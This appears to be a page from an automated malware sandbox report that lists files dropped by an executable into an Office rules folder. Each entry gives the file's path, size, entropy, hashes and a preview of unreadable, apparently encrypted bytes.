Preview:	<?xml...G.V..[N4.,.....W.\..G.p...[....'-..n.g..5..fa")f.C.Ed.k..l..Y#.b..>4..f^&z.o.k..a.W.,..dp3.q..;-<..H.>...n.......[.xT.ONQ.3S....@.....vH.2.=........i.....!.._.C.x.~..f.)/....s.t..<..n..}.W...... .1.='......9P.r..3../!..5g...tm..k=...;...Y%.+}D........E#...aE.....s...T..m.N..S=.l...p....>.2G...:GoW.R...d.A.`.....cd....X.w..z....o.+...fY^P.A...a4..>..$.N?...)I....T^]..v.F...y..ha.....~R.@VP.........4.}p......SWJA./].c'.BV..E>l>P.f.^.{F..7.....c.F.\|......F.g.J.:...ZX~oC.,.)......d.) ...d.x....;...{.Y1...q.g..x..df.x..@..X......Zbf.<.._.W{.=.FO2.WU...a.D.m....._Z.i............6..g....2,...>.^].4.@W<...W.E.z<1......!..\.5..:....Mo......N..e.pml.uRh.....qI.K.U.I..l..\|}.....A.*.ox}.?ZG6....k>l...._.}C..s..L....F.h...'....g.....1K.%.p......Y...jZ...e.n..[.Y..A.,t...s...:.F....z_oMa..W.\h-..A2 Nl....:f]!G...<_NVJ"j[.7<^.5...a.b.ke<q..,...$..lx.....`.....A~.b.../..^. .[..Rh.......E.\..H.w..C....Zr..c...<....!<.W.N./. ......x.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.782981925090995
Encrypted:	false
SSDEEP:	24:czWEltZPzSjhAIlM+oz4cJclld1x2HhDHAox7Rj4tnsbD:czWiujhDFoz5czx2HR5ljSmD
MD5:	B95225BAA775481B7075D12E93513EBD
SHA1:	3EE559F4D1B80E7B93B97F6BD8750811903F6643
SHA-256:	D53134C5858F00CBDBDD6641B577FCE2F809BBFFEBFB6D26DAEC64719237E800
SHA-512:	9C3DC056C5908DF9A344E49F012CF14C187CE34FC47EDB429DFD8D2EB4E4AA5C1E04A6DAA932D1D02A1D81BAF0FE2C19C1705E88B5A0C3B6FFF9D032C10EC575
Malicious:	false
Preview:	<?xmlJ d.....>.... .~..q..A=5.a.=.Q....Q;.p"..D 4./=.....-.+.1...........a...(.^..c.P,.0[lt_......Z.zp......!)\...j{.i...~.q.......\|.).lO.P..Y....E......D...n...np..i:.....K......mv.....9.H.N:b............l.!$6..\|NN..G."....\....S.....S..K..\Xe."....[s...&.'p.Vu,....1?N...{....~aL.+.....{..Z.....p].PVv.3..>.3..0r..%k..zM.d....=m\I..,)5Q.<..5..S.z.Zm.=...4<.f....b..........$..B.t}q....L.%...K..e..{.A.._A..ueB...6.J...-.z..v...I......5..9\|.B.r.I..=&... ..30.......#...._5w...=r.....'..n)~...aZ..E.Z....I.`.".....ST...m....}.Z....2.....P......63..L......S.iV..7h.:s$... .;t{/.c..,.Df...^..(uA........!..>kf.t.....YK.Y../.B.K....t k......r......mkS..b.. ......T...s..5!.....f.SWZo....'Q....A.3..Y.....De}#.=.D...}....+.N_.V.=.G-]0..t....e...hQ..Q.6..s....m..<...(....N.V.:.\.s2-..H]...iD.# ......f.....Jv.N.f.1g%.Cg.4.....H...<.$yf.C$XJ^..h]....\....}!..W...$?..V....UN5..D.t.S.:{\....z..,.h........4.i.]h..q,h.....dLj.o.w`..+.;.8Dvoq

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.937268991167648
Encrypted:	false
SSDEEP:	48:gu9wDB5PIKQEoKP7QjmrhpUIccA7ctw0Hn0xt8js8/qjD5PjzMWIpmD:gCq5AK+KDQjq7UKcctT0is7D5bz6p+
MD5:	957A9846D06D902D133BFEAD72D711C9
SHA1:	9930B0FBC2E78F945B9C909BD11AB52896F6DA26
SHA-256:	4F28E64C5B9F8FAEEDE1A787346CC4A03ED94BB2A7FC68B56CFE755692223F7C
SHA-512:	9A76AD8A86DB9B6082BD4D07BD54A055DF7B8AE4AB659F71F2CEEECD1E72650A58CCD76D9C1E505C0E0484AE49D75D82288FCE418B501B3E134D4E797D6ABD26
Malicious:	false
Preview:	<?xml{)...........5H.v.....w.....W.k...m.....AZ....~q..._j.(?.J.x/.d.B...Q...(P.....t.....o......._k@......d..7.W`."F.f.-l..[.1...c.zA..q#..w..2..#.....!.X8.6.u....c`!.7[1..A.U\.vKY.r.W..^.#..B..DB.x......,B?\|..\.5.6..N.....!...d8...A..(.K.......>..J&.+6.o.q=MapV...+%.........a.....Q...H\|.N.n..#7..........h..u.....N......b..K..N;....K.6..u."H.T#../......=.....V0....Rl#.(.....y..B........G..k9.g!C....G...8.dg.b....o.t. ....{...V...uU,^m.....Jo...#.6c3...O.."7C.S.I(L..Q3.ivX.oS...t....7.......fKp..P...O..j?....P.....pq.j............X7....=i...-B+.R^...."..?x.y.\|d.S.I..".5b..0NNv[Fn.1..bs.XR2.]f....E.....i.d.v%..F.._..p7...~..A4T..L..n....c..0.<.1&.w.Qa}O..yz>..&./.c........4ro.}...>.o..<`.\..8......c>0.....Yf..Y`..dk.0X..(.....,.N&..z[X.".....w[.......}6..l.r^#.gh..sO.P'.p...,.jF(.&.......om..VOM....t+.&+...5..=>.......H....%E...1.~..m.H...2...<...<.[6.....^........<qZ....q.P1D..-.....qe...aE....B...9..x.-9.s.].a.....d......f .n..8_...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.834198335832284
Encrypted:	false
SSDEEP:	24:hHnVoCKuxo4xq1HlDoUvzIiwizucnOd7zaUeRdlfmxe8L8EOsbD:FiCKuxXR0zIcy7zaHnpsebmD
MD5:	C1AAC32A9DCDDB482DF119F7037C4E8C
SHA1:	EDFF2502AD33547188A52C037D93D4F4671036EE
SHA-256:	A43BDF7050B4926C804E21E65B85B45BE0E2B3729675451D6901824606B17DEB
SHA-512:	2F698F173DD0F22FEBD1FD847E5913C9921352E23DA6B46C1587DDED575E5DA5FD372FD8F2D599893BBFEFAFC651CDFADD7FF5A492E6A335B13DD08BB47D8FBD
Malicious:	false
Preview:	<?xml;....$..$.....U..U...^....in...+..........?.B.l;.........w0..cS..}.f.8.M..f..b.....Q.bd...b...<..=S.fU.mkO......,.r..Q.oy.An..T...kl..=..Y..L.R.4..2..N'{.....J....7(..h..<)...V.-...w.,.%q-...&Y.k.lk}.P...1JEjU.>.r.A.N..w...q..O.....A.z.\.v\Ms....r.C.$\|.Y).N../v..#.U..O.(Nw..........H...V;..b.mxs!5%}u....`cG.i3J......=I..1..9m.\..S......8..{.TZ.U..d.[.L...F.O.\|^(.R?...%....z%....S.-z..W.GU..jj....M%./'.".X...(.....f....'.....6.%W.NT..\|z.L.f..C.....,.._i.v....I>.xX..]......C...M...A.x.....p..g_Xo.$7....\|..+..J...1.S.0....NV.=.x..`9[~E..gx.w.[9.4.c%J.[O......W.6.HP.[\|...V..f...J....I`y.(.....;.Us..M....C..P.O...D.,..;C@...,...@..R..#6.S.3.. ...;~x.Y....!.S...d.@...gm.ML1.T+..ZY...`.>{<x............n..Z:.L..K.H5!.T4p...I..1.(z....h..PU...x_r.r;y..t..V47.-.Er..............F..,q.y...I.Z....fb..F:..Y..o}P^.........I.V.jy..!..N....>.X5....\.@..CI..9x..y.`.p......u...k...k.mZ.W..N....X..fI....V.^'.E/S..S..AR"7m.O.?...v....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.977243482560909
Encrypted:	false
SSDEEP:	192:oNyMYODNbFnAFMD0Ly/d1mOID/QV/6S4euX1a+:2bLDNhnAo0e/dsjQuX1b
MD5:	C5FCD34D2B210BF3C2157FD4D48D039B
SHA1:	69DB4BB3BB6F6ADD6F14AEA92BF914114727E2A5
SHA-256:	9025D74754BCC351D9203A73EF3697E879E875419B7154CB2BCCBEB436E78182
SHA-512:	8DF74D4AA32FDA0BB1983B8D158C93D98C4F7CD4C9A6AE804D7938ACA4358895862D962B91AA22E8D5E30F9A55C87BEA1B6DA93AC626A2BB6C43651C84E80A9D
Malicious:	false
Preview:	<?xml..UR...I.....cR.'....uT....y..]6.Zu..dl.ro],S..G9g.~1.5.U.\C#.uLyI.t...a.......2R...EZ.c...Q.@..[F..~.[1&...;.u.'..R.....%..l..sT..N..O......".L....H.+.L..]V^..}.w..,.(...(...\....p}..\|...K.c3....C.Sa......R.:R....a.g~..{....>....z\|..-...fC.M....B..K?.?./9`(.'........?._U....CCI5... .v.B...(.`D....=..w....w.U..u'D...).7..a.tn....i....s..:g.pM.i........g.c[..v.....=.h.......^.1......../.\......}!./#...wRD..P>.aH......Z?D,....Iy.........9Q.t...v....'.S.....D4.`...QA...U.\.,...:.@UD.g...N.K.O...g.O.C#+...>X...(,.LB..F...sQ.^../jL{....76..A..d.....P........\|q..6..x.(....^./.3>[........e......$......nt.....[~.....t>W..S[;^.b....2...EV~.K...R..r.D7....,{...t......G}....b..mc.V..FD.:?.....U0......t............../.A..0.W.SeBd&.Ef.K...`.=.x....%.X..e.......y..\|t.}.\|.O.a.+..d...{.c...`,...,..?.@...`..c.v;..)X.qo}....]O.........N._u..y.Q..W.s.22?...`>..1+)._y..-..N...}.\|.T.i.Y]..;...Y..V....,.."c..>t.=..F...^..... ...EU#.S...?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.76655489125095
Encrypted:	false
SSDEEP:	24:iGqASr2jAQSINNvgeOYxqzyhq3X6wBsbD:RqAS6xSIfvgOxqzyqJBmD
MD5:	728BF7F0C0233E46F0D1B4A88B215A8F
SHA1:	C49B4F60092E1ED126858CE0E2C7C1E17A81046B
SHA-256:	202247F187EA640B8EF0B486CBC725405068AF6B469DD566EB467B0FA7080E9F
SHA-512:	8870D32D1943B88ED1A030FB058E2E955030A23E678C7BCF722A183C0795FD036DB4A72C4434AECFC7B598BF5C0961F5E6A60FDE14072765C21EFCBCA5ACC16B
Malicious:	false
Preview:	<?xml....\|..t.L.aQ[g. ......B......iG..jN.u..jj...........U[.....2\..v.q.:...........\|....3..<...\.,.[.F.j..2.[m...;....(/...<.q.M....N........u..\.....w.......u.m....gd.i..u......M....U{.9\|....qw..`.. .i...J...........k...:.}.Jg..K.....]_j...#$......ke..c.+....{...T!......+.....w.(>...f........S.z..A..?..K^.....=..+....\|..Q.Vdl.....vR.V...k.}..y.....f..U.v.....3......X...+.'...s..=.{P.Q.j.........+..(9....1....I.".7..'.D....63.l..y.I......e?.P'..:.i..n...H.?...H. ...H.........NW...I@..:.9....s'...Z.......N.....l..Z.q.s..v.P../..R\.+..).f.b`.M...y;1[8*.(.]........+......Y,.9P..T.....).T...../.U.2.z...J.].31........?`.=v....yDT;>...)...`2!..F&.b(..a.G...+Dp....$.`;.9)l..H.:9....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.915753138034924
Encrypted:	false
SSDEEP:	48:06kqz3WCjQy09eZzrv0P79GGWcxCkuveipd0eiif2hPdmD:zz3WCjh09U/v0P79LukeeCf2hPd+
MD5:	AA1E7A2FFCFA1C34AEDE3978B0F02FF7
SHA1:	6E3D11B2846352AFB929C48906962A715F02DBF2
SHA-256:	240EDE183ACEE5E4D7F18C7C9A38E02BEDC1525C6DE46385EE77B5CFC663BA9A
SHA-512:	7F7AB44E0D4853A53E81CB444ECF16650D1AE2F066A201608AC0891AF847F6990BF7E23EC027394904155088A492645D0418D8E66BB5F58E7AC754B291B3F1E0
Malicious:	false
Preview:	<?xml...W.%...@..5/.....9.`L[.%.....l.^...J..ix2.9eb/...q.g.4.'..Q...}...%.cr...^..#....^M...Z..1.=.JpJt%....h9.........'.g.p...\|......y.Db......>...}b...O..L[q....dE....f....=.4.7...B!......=%.\|.}...@...=C.A.'..kk^..........Ep.rC.n.}?....sh^...&.z......%..h1.T1.&......x.B.y.Z.8.Uv...F...w...D.m.......P..NO...y....rV..6.......Z.Y....\S.!.'.<..p..s....6.H%[nyT..HG....4.+..JYO.~....(...R.......zI....S...O.VBS..CB.....,.".x..~..#.......#rf._......7..................................%WO..@.e....~.G...#t.J\|k$e...O..N.A..............:e..&...@....u..)......d.EJ..G...)+.m...`Y.R.l8.....gb.mN.+..........XrY.uf...sh...t..5)......9...@a..w.....^....'.up.kv...?..r2..qC\P.\|w.....1].s..)Wv.....!.NE.6..7.1.\.W.n...r..s..G...X....5.......d....4....'...p...4...FI....aT...3.6.u.I0....:t..zP...E...L...~b ^...eb#z0..k...Z...s.5...C...L....&.U=../`.....k.s....[s....S\.z ..=H.>.DW.A....I..a.B<.....2.......6....".o....Ud.;....;;e...."F.6..M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.856110175659671
Encrypted:	false
SSDEEP:	24:xjv85MI7LW73dJs9VxdTn3HISN6lAaazFskX8zSdUzm5Gx6sbD:58xLa3dCHFn3n0aFzFsjvzZx6mD
MD5:	BA291170C9D6D0CA7F634635C639ECDE
SHA1:	9A6214A37359284D83A62726AD71B9FC01485E1F
SHA-256:	373938772A8F20762B9E0A679BFC1B855847B41F05325246A644C4BCDD86BC8D
SHA-512:	F70025D87D26B70FFB218056DA520B411DE9ED009F89F5F97837803D3767CBD02EC3EF7E7F5D78CD5C880EBC2676137C3B22499200D010D6E448C813FCB8C917
Malicious:	false
Preview:	<?xmljn!.y.....s\D..'U...:..`..4}.......O.s.O{k.zA...[[B.o...&&.,.FE..!......:....Q#.<.l...M.)....u..#Wy..lE..>.?....@...#...^..........ny.5..(.,....(.b(F..;..1.......;.N.5..Ue.8..MYi.B..J.6Z...6...#v..Y..cE..;W..g...s[.^I...`..................}._..J.....w.F...\...l...f....,...1.h.. ......c..I..J....`..;....'=..H..Zp.~..KpX..X.unC.....~.....JT!aL'.h...........e..?t.1....EH..-.1..n....=.n..m.bA...Z..'...i..b\...8+l.#....D.=Dj..U.......Jr.E]<\|m....u..!.}43...41...3...KP.X._........v..U...+c.:.....9..] ..i.}..<u....uW...R.Y.....)..P.[s5..`....er.Q4X.Xc..".\|.......6cN..z["X.<...&.D.^..[.9G-aa...rA.s.RP.S..vzo`...u2....I.z....R.2..u..?.~..50F.X_.Na@sj]..}....L..X..q..x .....E......=.0.,.KM..3...p...T.......XwY....l...$..b.^.H.5.L8g.g.&.y.Jl.......PA~{;......a.8....s......_......0....41..yv.$;._.._..C.z.N...g..\|../1E..\|.M.q....[.lOX^Ne.I.1..SG..M>3.!.N.y"..!Z.E.ZG&..."./.R.C@X.rwO....b..atA..F.....5..H..#\8......~i$Z!.HNm.x..'L.\|..a...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.939706696308476
Encrypted:	false
SSDEEP:	96:tKTTwIHOWiZNG/IeMsMgNRJv8BV6mfakc9vTU+:tKT1QN8dMsFRJv8TFak+4+
MD5:	08A2ED5A26259E86778889CC70AE308E
SHA1:	EEF7EDF294DF6C47AEB3AA8F16A97DCE25BF3A3C
SHA-256:	085ECBDECDCBF6FFC01ECEFB0BF205BBD1B362A5E30F09B5A30CD5412D691916
SHA-512:	C3001854016FD141CE01C72848E71174CA208E67EB741EFB3FBFD182C21F2285A0168FA4A57A441DECD74875F8A1AE72E7C468EC5CFBFDE7D727C375417F137F
Malicious:	false
Preview:	<?xml..R..N3W$.... p=.v...&tq-...?.w9H..I...I....=7.G...g.X......[.....L.[q....2^....._..j..4.....!".1b.6ZO..:..if..S.uE.`i...........J.U%.V....t... ..~Uf...^......,..&W...{.Mw}.V.\|....!..-. .."A$A.^ue.H...f.,4....$.4Mj...a.?o.w.....^(.B...Z...p......V...J....T..m1.2..h...o.,.o.3R...'.6:3..".L`U..P......P..L.Oeq...T..d."wrDyV.B..[Vl...7.Y..E{R!.t...C....SN.u\..}..).!...B".DX..f..U).f^ :.g..P-...m.p^H........;.&.?.H..K..J.A.!.....A.y){.-..);.\| .. ;..{C.B.f]...5YPV\|"p..........-.z..t...,(?},.R..Ubl..t..;+....}D@....+.....L.=....\...,Q.q. ......c.^B..k......d>..3&<C]9M........0...x~4..-[......!?.....x..*....9l..Y..\|...Sw6...B.!.....S.....x..K..0...P..b.;e.'F...-Ne.......\|+....&....s.\...b.2Vv...w.....\..Gim..6.D.<.....{/...9........&.\K$t< D).....X"".K..p!..e.4...!......u......C&...-....M..1..Q0....DD\|f.......F.Ak.kY.4!'.s.....z.efL..T~G...#.j 3J9...z##......\.,.M@..A.....R....'.}04..[.,d.a..OB....GP>B.....g.....Z.....&~..\|.7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.910285175246642
Encrypted:	false
SSDEEP:	48:u1KIO07jdZ4UlBh+Oq95WfpRfo0tU4iMtc3uO17hmD:giQJZN/s34fpRxtU4joh+
MD5:	5B960722CF8FC474F191D06A6AB24606
SHA1:	914984DABDA34BD6AD40E098C51EF932848AEA83
SHA-256:	38E79B4264EE50EED3D6ED7A3C060E3139D8B490AC8F29FF3A32E25A0FA4BFAC
SHA-512:	669E0668D5701B12BFF1EFAAD5122434CD69CA45B0FF18CC446151F9A869B90A47A59F5DFFB8F5AADB915795240C91FF9E96A6EED45E5D29661711D3DCBAAA74
Malicious:	false
Preview:	<?xmlz."......o.j.#..iC..e\.JJ:...{C..QY..CP..awfG..%%BaxMA7......L.+...jc....$...+.d.mn........$Ya.=3.I.N....u.@.9...a.v.......%.N.{......B.u(.7(..".MG......3(..A2.7.(.#.!J..$'.c....-;..8....w...K.....%#......-LE.fb.w...J.....@D.........9..k..P....yc..~.....T..GTB.IRDx....cN..............c..{.).l.m..0....og...U?x.c...$..\...!.&.E..I.x.:.G....+.X..GRw.Ru.Cs.AZ..G.....g..."P..@+.\k.....v....h..y....)........l......S..&<.09%b.fbh..s...r'..).8..i....y.M3k..~.........]...0..Y....L-@.[.....v(y..Jd<e./.....,...v8.b...=..1...JQ6.B...2.U..."..m.x.,.._1.>k..+.ZL..k.)k..j`...t.{j..Q....t..=....$..0s6...A.....~.k.#r..Ku.E2..\|.AL........Z.e.3N..c..t...U.DJ9...0.6...M.....A.f.....8.'.;. ..c.$..w..`..r_.[...x.&s.{p4.I.q.,9q..../.AI+1...Xl....B.Q.d...;Y..h_.z...bp.=...:.j.%xU...M.......A.v.E.....7!.t+.......A.2`./t.=.t...>...psq-..P~....=B....T.V....D.?.....F..zBa.U.s.B...b...........t....f.C(Y......)....l...z.&.5..][!"?hE.W.t......B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.977366486991712
Encrypted:	false
SSDEEP:	96:3Chkzd3S0dyvIN2209ePFF1EVTH1amgsfKBvUhUbsotqI34swT/Zho4XPJz557vQ:3Ld3Sd60kFo61w1sS/ZhoaR+Q7Y3MN+
MD5:	4B941362B10B2D9975D350B1D95D3B1D
SHA1:	F1B30165ADF4F931624D6946AABEE5E688103B4E
SHA-256:	8290461E4CCF75D23B66FF55D7B3134B25219FF5DE883926894DF5D5D58AF7AF
SHA-512:	5108EF7CAB4317487E26DC61032117CCB99F630F370493353443ECD27F0344CD690313D332BDA5FD13A228E88C160C1EB046F424C84A9A98C14389A7CFD36D58
Malicious:	false
Preview:	<?xml.ll......X.G`?.....$@...j.......aR..-C..eJE..~...;u...`.v....... .........UfR].W.MZ..\...r...D...k.r..?j..e.4.Z..Ih1....x.nW...7]2H.w...]\|~....X#.....T..k.....P...-.h.<'...h.c...v.....t$......Y...............{.].....9aq...U..).a.Y&.R..Z7...V......YH.......F...7.@...?.....c......L....W.+kQQ.N..5.A...._hQBU...9.~;..#.yk.#......{.}#.....SQ..x..2..S.T..S...C...D^.s.;.....@W......Sg.......4...`.q...Za...d'..p=dM.^@...I.IG66r..\..g66.~.\._../-..}E....Jq.p..(d..y..m.M0.......$.S]9c..l..(..C...}'..+#.V.........Xz.H.Z'..I...k...B.m=_....%...........$%....r..;O..!.S....,.9.....%.S.&.!..1..u.#n..m,...f.I..?G.W.../qW3........~.Ef.f.s.Z...~-...vn.B.<.^..H.b...Qq2......lw.........j.../)....U..\..e...EC.r......M`:...s........\U.g.......2....`...T.hJ@.Q.....2.C.8~7.@.F....tW..'..Iq6n......C.B.1...0..8Z....W...y..@.\.,.y.......4...e..E;.i........0.`CEJ..L.t;...U....y..q..LD...Q...5F..F.3,.c\|h.;.C.I...Q}..rA.f3....w...P3..A..zXg.~......j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957899815911091
Encrypted:	false
SSDEEP:	96:CvEmh27co8wOqyyHn/iaxNB061yoLwX+CGbxbOq9RNpN1+eNUraKho10+:EEmhidxiaxP0a7LwH6QAIeNUmKe6+
MD5:	D6C75FF0D6D0D93E7CAA44EA9A83D1B1
SHA1:	04DA25CFC98280DEADAD1A709F0B7EF9A517969A
SHA-256:	5EC67A9C2DC4782C875035687A891C4FFF586D9FDF1C45475286EA00FD780F77
SHA-512:	37AE2E82B1845F8671BDC90A0420F96D054C97FDF8F23A83AF6246E62CED558A57DCE4772B48D35E76FD9377AF34E099E772276A3453222A869F10C03F66C2E9
Malicious:	false
Preview:	<?xml.>%..]...z....t..42.Y.. `q...[J..U..._Q..n.d..f.....J.xHx6.L.!'...&$.......".....O.H.#\b.X.6/..#...."k.FK.5....s;..$+B..Mt@qU.$...L..Oopw...!..f-.mLv`~v{uY..L..".a)..X.d...kuB..1E.5..nP...WI....F...6c..\G..)......k.0..O.'.Zo.%....w.c)..a.v..,....F.\...>.. .@.!........6.....!(.L._..GQ....+.. 0.DR....pNS....I]q.....;f.@........&.s/.?..;t.l.,.}.........V.6Q.}c.?...j..{qg.....KHI..]]7..w.........w..}.....w.gi...o.....U.'A..t.xP....8y..:.`.RX...qr..h...m..OXD-..jr..}m....\........@x.V..X.j..\|._......c..e.x YC.>._'..L.........q{........eK....>..}cp..X..E_.H#..<......e0rc.J.D.c.C-..K.`l5k3.gS.o....d.Set,.hM..&.....0...8....8\|..j.B..t.w...d:D.A_.Jc.....m.+q,..r..63.G....7A.hXf.z...L........a.....J.t.....}L,.......o.B..+G...m.'.c.f...%......5:&....Q.8..K^.......]`..UD9:...SJ]4q.{.T.1........H..V..............'.N./........a"..5ns#...m..K..!4.M.-..%.g.6.q.W H........E...n.....Rf.6wN.......mF...c..*4..%B......T...J)......x.H..#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.9646209222804565
Encrypted:	false
SSDEEP:	96:DLttSnTOFQp/muXEzeynmboK+IgL1SM87XnWlQLPN9CMb+:DLWnTTO9zHmkK9gLMM8alKh+
MD5:	6E69CEFE55C4ECD61A44093A7B6A9722
SHA1:	AD8142BAD812AE65DB91304D873D26A7B1D4ADD6
SHA-256:	D53A3F16BE98F59B20FB3B64B3E3AA8468BBE15EFBD9CBF197E9E6E5C9D52FFD
SHA-512:	C2B651AF6B6C70EF85506D2A5F6D1DCA08F60F62537A2FF1A1B1A0A0EC8C4A7363578918C1CF1721435E13D93E1A81B749E9E9EAA9DAB2B2DDFC841213E71968
Malicious:	false
Preview:	<?xmlV!.$a.k..N[.g.....cV+7Y!.......yq.X.T'.k.?.../:{d.I...\.7&....,....Q#......f^...v.L..p...0..6.Ao.=...".r..<..6.w.j..4m..2K.8!..#bZ..jML..W....m.{......73...X."tl3..;...1M.1D..Ezk..U..D7.2.l.d...>.y..._WD......x...gJ....i.@@..^...Tw.oD{%)...4..e,E\|@q..Ok.I..PR)0...x...L.Yw....K..Z.O[@..C.........p....a "..[V.....a....OTi.'.t...x....Z@.W..=@...J.e.I.S..}/..V...E.TQ.H9..C...7.w..h...=.j..sp.B.).x.q..#.b\..].@..b..uj4.R....j.w..\|.2k.?.... .U_.....P....a.....7....G6.E.....h...P..@...(.......k.....^W\|8.g&\B..g^]...)6......D...3Gj......X...{...3.L.t..@....lkb.."..cD.)..n....,.....Y....5t..].2.Z}2..8.>.m..g...D....#......LN.#.EtV...m..Ft.1..1.2i...F{...N......\|...$...r. ..O9..........F. ......1. ..On...d=..=.c..........g..t18....?....7....jb.t....l'...e..71JcW,.'.>.z...{].mPgF.F.....4mg...fO....._.........D..Z.SWe>.n.BV5...?...A....).....m.....Y(.Nn..\..v..\|;!R@9.^..h....t"T..i!.1J..y\|IDU.mPMe.Ll4.D...[.. ..QPY.....kOi..9a......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.930741571857077
Encrypted:	false
SSDEEP:	48:ZOYDzmfc70E3XXjjDB0UBMAvO6tB+UgfUguDAiDLqavC4I1PrZJZHnJVStLn0EYU:nzzj3nDBbBMA4jfelj6lDZJZHJGL0X3E
MD5:	978A3088A30B92C7DECC61E8D0CAA8E2
SHA1:	768F2DD2C3F7F683CD1F9C661A72BD2B31F6B243
SHA-256:	8E181FBC14A1EBAF673F4285FA9BC5AD6E420D08F14D006573DEE4F618AB32BB
SHA-512:	5EC79675BD4D83A55636B766A795FF59AAF5E2F98306062B1491B485CAA5B5023B90DEAC41B2BC7DFA866BC746566132C269EB890A4D6FA11BDCA8DAA6722540
Malicious:	false
Preview:	<?xml..~....v.f\|Cg...~pzo..=.$.....6.._F.a.gmM. z..g..i.........<rn..0z..pZ..I.0....~....Nc4....8D....h.)l-{.^.../..e..&.Z..4....F.0..`...Ko7D.\2..1.}.`8....G..=.p;..@5....a1K..].Is.R._.%........}....[\|H.Z....p....B.:2.x..S...\.8.a..4.M...D.........R....K.............C..A..p..J<.:..S.Y...X;..h..\|..#]..:..?WG....h..._.r.8m......M@..2..v.>g/......}.T.n.7..H....M..k.u.6%..Q..............Pr)VBo,...Df.....jm..nQ .G.]"(..y...:i...?..h.........R..QlV\.>.i....^.u.../~.....-jO.r.0,e.mY....jV...}.dR@...aQu.%[.r]@......6...D..HdE.-(..H.....u.%.eY;...O/LE5+..s8,...+..4:....g....~.....@..*Z...KMr^....g..8..<C.6.PB1..1..Q......N.........Y...&6...YD..h..{..A..,.Tg=..`mz..Wn...5..-..$@.G..<>@l.v7......../.K..n..T.8..~{...........\..}..<G.c...,.O....~..M..=tNE..&s.y...-M...'.>".Y....;.;.....2.......oS..h...Q.6....cM.@..+..........).U.<....9.A.fe..&)..`.1^...iZN.F.JT...c]...h...B};k.."RB (.ZH.~...L.x.Z..6.b...D......$&.sr.=.O..Y...Y...b.:.`Nu]..g..g...i./.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967765407626053
Encrypted:	false
SSDEEP:	96:2byauc5AA5y7gXL6Xu8iQHqasL5UlAbRShL78J4r7EPuwWEHdvU6WQtHCzZLtozh:eynh7mL6e8OaslbRShL7BaqEHW3Qtat6
MD5:	4073C16417966D7FAFC26DC1CAE698CB
SHA1:	B8B7ECC1CB36C4043F586A7221C6FF93A1439517
SHA-256:	E4250A6E17E62CCFB8A96217EE78F89EB864EAA15A90F4179F943545058EB132
SHA-512:	84FE7CC545D0642FF1195BBF6D4B6432D62589DAC9770AB6CF429D8C7288A291E58A000E1CF00DB7C39C40B8726ABB397696BAC93E6893C214455C15DB5FC54B
Malicious:	false
